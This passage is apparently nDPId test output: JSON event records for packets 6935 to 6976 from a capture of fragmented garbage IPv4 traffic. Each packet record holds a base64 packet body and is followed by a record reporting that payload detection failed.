+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6935,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385047,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6935,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6936,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385060,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6936,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6937,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385073,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6937,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6938,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385086,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6938,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6939,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385100,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6939,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6940,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385113,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6940,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6941,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385125,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6941,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6942,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385137,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6942,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6943,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385150,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6943,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6944,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385166,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6944,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6945,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385176,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6945,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6946,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385225,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6946,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6947,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385240,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6947,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6948,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385253,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6948,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6949,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385266,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6949,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6950,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385278,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6950,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6951,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385291,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6951,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6952,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385303,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6952,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6953,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385318,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6953,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6954,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385331,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6954,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6955,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385344,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6955,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6956,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385358,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6956,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6957,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385370,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6957,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6958,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385383,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6958,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6959,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385396,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6959,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6960,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385409,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6960,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6961,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385428,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6961,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6962,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385444,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6962,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6963,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385457,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6963,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6964,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385470,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6964,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6965,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385482,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6965,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6966,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385497,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6966,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6967,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385510,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6967,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6968,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385523,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6968,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6969,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385535,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6969,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6970,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385550,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6970,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6971,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385562,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6971,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6972,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385575,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6972,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6973,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385587,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6973,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6974,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385600,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6974,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6975,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385613,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6975,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6976,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385629,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6976,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 